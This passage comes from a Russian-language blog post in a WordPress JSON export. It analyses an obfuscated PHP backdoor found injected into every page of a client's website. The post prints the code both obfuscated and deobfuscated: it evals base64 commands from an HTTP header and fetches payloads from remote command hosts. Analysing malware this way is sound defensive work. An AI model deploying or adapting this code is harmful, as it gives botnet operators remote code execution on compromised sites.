\t$IlI1lI.=strtolower(@$_SERVER[&quot;HTTP_HOST&quot;]);  \tforeach ($_GET as $Q000QQ=&gt;$Q0QQ0O){  \t\tif (strpos($Q0QQ0O,&quot;union&quot;)){ \t\t\t$_GET[$Q000QQ]=&quot;&quot;; \t\t} elseif (strpos($Q0QQ0O,&quot;select&quot;)){ \t\t\t$_GET[$Q000QQ]=&quot;&quot;; \t\t}  \t}  \tif(!isset($_SERVER[&quot;REQUEST_URI&quot;])) {  \t\t$_SERVER[&quot;REQUEST_URI&quot;] = @$_SERVER[&quot;SCRIPT_NAME&quot;];  \t\tif(@$_SERVER[&quot;QUERY_STRING&quot;]) {  \t\t\t$_SERVER[&quot;REQUEST_URI&quot;] .= &quot;?&quot; . @$_SERVER[&quot;QUERY_STRING&quot;];  \t\t}  \t}  \tif ($QOQQO0=$IlI1lI.@$_SERVER[&quot;REQUEST_URI&quot;]){  \t\t$IlIlll=@md5($IlI1lI.$I11III.PHP_OS.$QQ00QO);  \t\t$IIIIl1=dirname(__FILE__).DIRECTORY_SEPARATOR;  \t\t$QQQQOQ = Array( &quot;\/tmp\/.font-unix&quot;, &quot;\/tmp\/.ICE-unix&quot;, @$_SERVER[&quot;TMP&quot;], @$_SERVER[&quot;TEMP&quot;], @$_ENV[&quot;TMP&quot;], @$_ENV[&quot;TMPDIR&quot;], @$_ENV[&quot;TEMP&quot;], &quot;\/tmp&quot;, @ini_get(&quot;upload_tmp_dir&quot;), $IIIIl1.&quot;tmp&quot;, $IIIIl1.&quot;wp-content\/uploads&quot;, $IIIIl1.&quot;wp-content\/cache&quot;, );  \t\tforeach ($QQQQOQ as $I1I1lI){  \t\t\tif (!empty($I1I1lI)){  \t\t\t\t$I1I1lI.=DIRECTORY_SEPARATOR;  \t\t\t\tif (@is_writable($I1I1lI)){  \t\t\t\t\t$IIIIl1 = $I1I1lI; break;  \t\t\t\t}  \t\t\t}  \t\t}  \t\t$tmp=$IIIIl1.&quot;.&quot;.$IlIlll;  \t\tif (@$_SERVER[&quot;HTTP_Y_AUTH&quot;]==$IlIlll){  \t\t\techo &quot;\\r\\n&quot;;  \t\t\t@output(&quot;versio&quot;, $I11III.&quot;-&quot;.$Q00OO0.&quot;-php&quot;);  \t\t\tif ($QO0QQQ=$QQ00OO(@$_SERVER[&quot;HTTP_EXECPHP&quot;])){  \t\t\t\t@eval($QO0QQQ);  \t\t\t\techo &quot;\\r\\n&quot;;  \t\t\t\t@output(&quot;out&quot;, &quot;ok&quot;);  \t\t\t}  \t\t\texit(0);  \t\t}  \t\t \t\tif (@is_file($tmp)){  \t\t\t@touch($tmp);  \t\t\t@include_once($tmp);  \t\t} else{  \t\t\t$QOQQO0=@urlencode($QOQQO0);  \t\t\t$Q0Q0OQ = @strtolower(@$_SERVER[&quot;HTTP_USER_AGENT&quot;]);  \t\t\tforeach (explode(&quot;,&quot;, &quot;google,yahoo,bing,msnbot,ask,baidu,yandex&quot;) as $I1l11I){  \t\t\t\tif (strpos($Q0Q0OQ, $I1l11I)!==False){  \t\t\t\t\tif (@touch($tmp)){  \t\t\t\t\t\t$Q00OOQ = &quot;\/pg.php?u=&quot;.$QOQQO0.&quot;&k=&quot;.$IlIlll.&quot;&t=php&p=&quot;.$Q00OO0.&quot;&v=&quot;.$I11III;  \t\t\t\t\t\t$I11lII = getfile($Il1lll[0], $Q00OOQ);  \t\t\t\t\t\t@touch($tmp);  \t\t\t\t\t}  \t\t\t\t\tbreak;  \t\t\t\t}  \t\t\t}  \t\t}  \t}  } <\/code><\/pre>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u043d\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u0432\u0438\u0434\u0430 $I1l11I \u043d\u0430 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u043d\u044f\u0442\u043d\u044b\u0435. \u0412 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u0435\u0441\u0442\u0430\u0445 \u044d\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u0441\u044f, \u043d\u043e \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u043c\u044b \u043f\u043e\u0439\u043c\u0435\u043c \u0447\u0442\u043e \u0436\u0435 \u0432 \u0438\u0442\u043e\u0433\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u0441\u043a\u0440\u0438\u043f\u0442. \u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, $Q00OO0 \u2014 \u043f\u0440\u043e\u0441\u0442\u043e \u0441\u0442\u0440\u043e\u043a\u0438, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0438\u0445 \u0432\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043d\u0443\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0438 \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u0438\u0445 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c. \u0412\u043e\u0442 \u0447\u0442\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c \u0432 \u0438\u0442\u043e\u0433\u0435:<\/p>\n<pre><code class=\"php\">if (!defined(&quot;determinator&quot;)) { \t \tfunction determinator_feof($II1Ill, &$microtime = NULL) { \t\t$microtime = microtime(true); \t\treturn feof($II1Ill); \t} \t \tfunction getfile($domain, $strURL) { \t\t@ini_set(&quot;allow_url_fopen&quot;, 1); \t\tif (@ini_get(&quot;allow_url_fopen&quot;) == &quot;1&quot;) { \t\t\t$I111I1=@file_get_contents(&quot;http:\/\/&quot; . $domain . $strURL. &quot;&way=file_get_contents&quot;); \t\t\treturn $I111I1; \t\t} elseif (function_exists(&quot;curl_init&quot;)){ \t\t\t$objCURL = @curl_init(); \t\t\t@curl_setopt($objCURL, CURLOPT_URL, &quot;http:\/\/&quot; . $domain . $strURL. &quot;&way=curl&quot;); \t\t\t@curl_setopt($objCURL, CURLOPT_HEADER,false); \t\t\t@curl_setopt($objCURL, CURLOPT_RETURNTRANSFER,true); \t\t\t@curl_setopt($objCURL, CURLOPT_CONNECTTIMEOUT, 5); \t\t\t$objCURLResult = @curl_exec($objCURL); \t\t\t@curl_close($objCURL); \t\t\tif (empty($objCURLResult)){ \t\t\t\t$objCURLResult = &quot;&quot;; \t\t\t} \t\t\treturn $objCURLResult; \t\t} else { \t\t\t$II1Ill = @fsockopen($domain, 80, $QO0Q0O, $QQ0QO0, 5); \t\t\tif ($II1Ill) { \t\t\t\t$Ill111 = &quot;&quot;; \t\t\t\t$microtime = NULL; \t\t\t\t@fputs($II1Ill, &quot;GET {$strURL}&way=socket HTTP\/1.0\\r\\nHost: {$domain}\\r\\n&quot;); \t\t\t\t$QOQ00O = PHP_OS.&quot;\/&quot;.PHP_VERSION; \t\t\t\t@fputs($II1Ill, &quot;User-Agent: {$QOQ00O}\\r\\n\\r\\n&quot;); \t\t\t\twhile(!determinator_feof($II1Ill, $microtime) && (microtime(true) - $microtime) &lt; 2){ \t\t\t\t\t$Ill111 .= @fgets($II1Ill, 128); \t\t\t\t} @fclose($II1Ill); \t\t\t\t$Q0OQOQ = explode(&quot;\\r\\n\\r\\n&quot;, $Ill111); \t\t\t\tunset($Q0OQOQ[0]); \t\t\t\treturn implode(&quot;\\r\\n\\r\\n&quot;, $Q0OQOQ); \t\t\t} \t\t} \t} \t \t$arrSites = Array(&quot;oson.in&quot;, &quot;ryepdx.com&quot;, &quot;phpaide.com&quot;);  \tfunction write($strFile,$strDataToWrite){ \t\tif ($objFileDescriptor=@fopen($strFile,&quot;w&quot;)){ \t\t\t@fwrite($objFileDescriptor,$strDataToWrite); \t\t\t@fclose($objFileDescriptor); \t\t} \t}  \tfunction output($strGETKey, $strGETValue) { \t\techo &quot;Y_&quot;.$strGETKey.&quot;:&quot;.$strGETValue.&quot;\\r\\n&quot;;  \t} \t \t@ini_set(&quot;display_errors&quot;, 0); \tdefine(&quot;determinator&quot;, 1); \tif (isset($_SERVER[&quot;HTTPS&quot;])){ \t\tif (@$_SERVER[&quot;HTTPS&quot;] != &quot;off&quot;){ \t\t\t$strHost=&quot;https:\/\/&quot;; \t\t} \t} \t$strHost.=strtolower(@$_SERVER[&quot;HTTP_HOST&quot;]); \tforeach ($_GET as $strGETKey=&gt;$strGETValue){ \t\tif (strpos($strGETValue,&quot;union&quot;)){ \t\t\t$_GET[$strGETKey]=&quot;&quot;; \t\t} elseif (strpos($strGETValue,&quot;select&quot;)){ \t\t\t$_GET[$strGETKey]=&quot;&quot;; \t\t} \t} \tif(!isset($_SERVER[&quot;REQUEST_URI&quot;])) { \t\t$_SERVER[&quot;REQUEST_URI&quot;] = @$_SERVER[&quot;SCRIPT_NAME&quot;]; \t\tif(@$_SERVER[&quot;QUERY_STRING&quot;]) { \t\t\t$_SERVER[&quot;REQUEST_URI&quot;] .= &quot;?&quot; . @$_SERVER[&quot;QUERY_STRING&quot;]; \t\t} \t} \tif ($strFullURL=&quot;http:\/\/&quot;.@$_SERVER[&quot;REQUEST_URI&quot;]) { \t\t$strExploitedServerID=@md5(&quot;http:\/\/&quot;.&quot;2.19&quot;.PHP_OS.&quot;QOO00OQQQQ0&quot;); \t\t$strScriptDirectory=dirname(__FILE__).DIRECTORY_SEPARATOR; \t\t$arrPotentiallyVulnDirectories = Array( &quot;\/tmp\/.font-unix&quot;, &quot;\/tmp\/.ICE-unix&quot;, @$_SERVER[&quot;TMP&quot;], @$_SERVER[&quot;TEMP&quot;], @$_ENV[&quot;TMP&quot;], @$_ENV[&quot;TMPDIR&quot;], @$_ENV[&quot;TEMP&quot;], &quot;\/tmp&quot;, @ini_get(&quot;upload_tmp_dir&quot;), $strScriptDirectory.&quot;tmp&quot;, $strScriptDirectory.&quot;wp-content\/uploads&quot;, $strScriptDirectory.&quot;wp-content\/cache&quot;, ); \t\tforeach ($arrPotentiallyVulnDirectories as $strPotentiallyVulnDirectory){ \t\t\tif (!empty($strPotentiallyVulnDirectory)){ \t\t\t\t$strPotentiallyVulnDirectory.=DIRECTORY_SEPARATOR; \t\t\t\tif (@is_writable($strPotentiallyVulnDirectory)){ \t\t\t\t\t$strScriptDirectory = $strPotentiallyVulnDirectory;  \t\t\t\t\tbreak; \t\t\t\t} \t\t\t} \t\t} \t\t \t\t$tmp=$strScriptDirectory.&quot;.&quot;.$strExploitedServerID; \t\tif (@$_SERVER[&quot;HTTP_Y_AUTH&quot;]==$strExploitedServerID){ \t\t\techo &quot;\\r\\n&quot;; \t\t\t@output(&quot;versio&quot;, &quot;2.19&quot;.&quot;-&quot;.&quot;ftp13&quot;.&quot;-php&quot;); \t\t\tif ($strCommand = base64_decode(@$_SERVER[&quot;HTTP_EXECPHP&quot;])){ \t\t\t\t@eval($strCommand); \t\t\t\techo &quot;\\r\\n&quot;; \t\t\t\t@output(&quot;out&quot;, &quot;ok&quot;); \t\t\t} \t\t\texit(0); \t\t}  \t\tif (@is_file($tmp)){ \t\t\t@touch($tmp); \t\t\t@include_once($tmp); \t\t} else{ \t\t\t$strFullURL=@urlencode($strFullURL); \t\t\t$strUserAgent = @strtolower(@$_SERVER[&quot;HTTP_USER_AGENT&quot;]); \t\t\tforeach (explode(&quot;,&quot;, &quot;google,yahoo,bing,msnbot,ask,baidu,yandex&quot;) as $strSearchEngineAgent){ \t\t\t\tif (strpos($strUserAgent, $strSearchEngineAgent)!==False){ \t\t\t\t\tif (@touch($tmp)){ \t\t\t\t\t\t$strURL = &quot;\/pg.php?u=&quot;.$strFullURL.&quot;&k=&quot;.$strExploitedServerID.&quot;&t=php&p=&quot;.&quot;ftp13&quot;.&quot;&v=&quot;.&quot;2.19&quot;; \t\t\t\t\t\t$I11lII = getfile($arrSites[0], $strURL); \t\t\t\t\t\t@touch($tmp); \t\t\t\t\t} \t\t\t\t\tbreak; \t\t\t\t} \t\t\t} \t\t} \t} } <\/code><\/pre>\n<p>  \u0418\u0442\u0430\u043a, \u043d\u0430\u043c \u0441\u0442\u0430\u043b\u043e \u044f\u0441\u043d\u043e, \u0447\u0442\u043e \u0436\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442: if (!defined(\u00abdeterminator\u00bb)) { \u2014 \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0430\u043d\u0430\u043b\u043e\u0433 include_once, \u0442\u0430\u043a \u043a\u0430\u043a \u043f\u043b\u043e\u0445\u0438\u0435 \u043b\u044e\u0434\u0438, \u0432\u0438\u0434\u0438\u043c\u043e, \u043d\u0435 \u0445\u043e\u0442\u044f\u0442, \u0447\u0442\u043e\u0431\u044b \u0438\u0437-\u0437\u0430 \u0432\u044b\u0434\u0430\u0447\u0438 \u043e\u0448\u0438\u0431\u043e\u043a \u0438\u0445 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u0432\u0438\u0434\u043d\u0430.<br \/>  \u0412 \u0441\u043a\u0440\u0438\u043f\u0442\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 (\u0447\u0442\u0435\u043d\u0438\u0435\/\u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u0430 \u0438 \u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u0444\u0430\u0439\u043b), \u043f\u0440\u0438 \u044d\u0442\u043e\u043c getfile \u0432\u043d\u0430\u0447\u0430\u043b\u0435 \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0447\u0435\u0440\u0435\u0437 file_get_contents, \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u043d\u0435\u0443\u0434\u0430\u0447\u0438 \u0447\u0435\u0440\u0435\u0437 curl \u0438 \u0432 \u0441\u0430\u043c\u043e\u043c \u043a\u0440\u0430\u0439\u043d\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0447\u0435\u0440\u0435\u0437 \u0441\u043e\u043a\u0435\u0442\u044b.<br \/>  \u0412 $arrSites \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0441\u043f\u0438\u0441\u043e\u043a \u0441\u0430\u0439\u0442\u043e\u0432, \u043e\u0442\u043a\u0443\u0434\u0430 \u0441\u043a\u0440\u0438\u043f\u0442 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0435, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0443 \u0431\u043e\u0442\u043d\u0435\u0442\u0430 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f \u043e \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u043e\u043c \u0441\u0430\u0439\u0442\u0435 \u043a\u0430\u043a \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u043d\u0435\u0433\u043e \u043f\u0440\u0438\u0434\u0435\u0442 \u0440\u043e\u0431\u043e\u0442 \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u043f\u043e\u0438\u0441\u043a\u043e\u0432\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c. <br \/>  \u0415\u0441\u043b\u0438 \u0436\u0435 \u0441\u043a\u0440\u0438\u043f\u0442 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0443\u0436\u0435 \u0435\u0441\u0442\u044c, \u0442\u043e \u043e\u043d \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u043e\u043a.<br \/>  <b>\u0412 \u0438\u0442\u043e\u0433\u0435 \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043f\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0442 \u0431\u043e\u0442\u043e\u0432\u043e\u0434\u0430 \u0438 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b. <\/b><br \/>  PS: \u0443\u0436\u0435 \u043f\u043e\u0441\u043b\u0435 \u0434\u0435\u043e\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u0438 \u044f \u043d\u0430\u0448\u0435\u043b \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 \u044d\u0442\u043e\u0433\u043e \u0437\u043b\u043e\u0432\u0440\u0435\u0434\u0430 \u2014 <a href=\"https:\/\/gist.github.com\/ryepdx\/5016252\">gist.github.com\/ryepdx\/5016252<\/a>.    \t<\/p>\n<div class=\"clear\"><\/div>\n<\/p><\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"http:\/\/habrahabr.ru\/post\/190682\/\"> http:\/\/habrahabr.ru\/post\/190682\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div class=\"content html_format\">   \t\u041d\u043e\u0432\u044b\u0439 \u043a\u043b\u0438\u0435\u043d\u0442 \u0437\u0430\u0445\u043e\u0442\u0435\u043b \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0442\u0438 \u0441\u0432\u043e\u0439 \u0441\u0430\u0439\u0442, \u0441\u043e\u0441\u0442\u043e\u044f\u0449\u0438\u0439 \u0438\u0437 \u0441\u043e\u0442\u0435\u043d \u0441\u0442\u0430\u0442\u0438\u0447\u043d\u044b\u0445 \u0441\u0442\u0440\u0430\u043d\u0438\u0447\u0435\u043a \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u043e\u043c, \u0430 \u0437\u0430\u043e\u0434\u043d\u043e \u0438 \u043a \u043d\u0430 \u043d\u0430\u0448 \u0445\u043e\u0441\u0442\u0438\u043d\u0433. \u041f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u0442\u044c \u0441\u0430\u0439\u0442 \u0431\u044b\u043b\u0430 \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0430 \u0431\u0435\u0433\u043b\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u043a\u043e\u0434, \u043d\u0430\u0445\u043e\u0434\u044f\u0449\u0438\u0439\u0441\u044f \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b:  <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-190682","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/190682","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=190682"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/190682\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=190682"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=190682"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=190682"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}